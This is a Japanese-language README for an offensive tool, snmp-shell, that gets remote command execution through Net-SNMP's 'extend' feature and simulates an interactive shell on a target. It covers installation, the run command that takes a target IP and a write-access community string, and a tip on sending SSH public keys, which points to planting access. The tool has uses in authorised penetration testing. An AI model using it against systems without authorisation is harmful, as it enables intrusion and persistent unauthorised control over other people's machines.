
Net-SNMPのextend機能によるシェルシミュレーション
こちらがプレビューです:
対象のマシンに Net-SNMP インスタンスと "extend" 機能があり、書き込みアクセスを提供する SNMP コミュニティストリングを取得している場合、このツールを使用して SNMP RCE でコマンドを送信するプロセスを自動化できます。
このツールは自動的に、あなたのいるパス上で本物のシェルをシミュレートします。
完全にインタラクティブなシェルを必要とするコマンド(MySQL、Vim、Nano など)以外は、想像できるすべてのコマンドも使用できます。
Windows には対応していません。すみません。
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
$ rlwrap python shell.py <IP> -c <community string>
SSH 公開鍵などの長い文字列を送信する必要がある場合は、legacy.py バージョンを使用してください。
送信できる文字数の上限は短いです(SNMP の制限)。
ヒント: ed25519 SSH 公開鍵を使用してください。RSA のものより短いです。
Usage: shell.py [OPTIONS] IP
Simulates a terminal over Net-SNMP "extend" functionality. Be sure your
SNMP Community String has write access.
Options:
-c, --communitystring TEXT Community string for SNMP
-v, --version TEXT SNMP version (1/2c/3)
-ss, --snmpset TEXT Path for the snmpset binary
-sw, --snmpwalk TEXT Path for the snmpwalk binary
-h, --help Show this message and exit.
https://mogwailabs.de/blog/2019/10/abusing-linux-snmp-for-rce/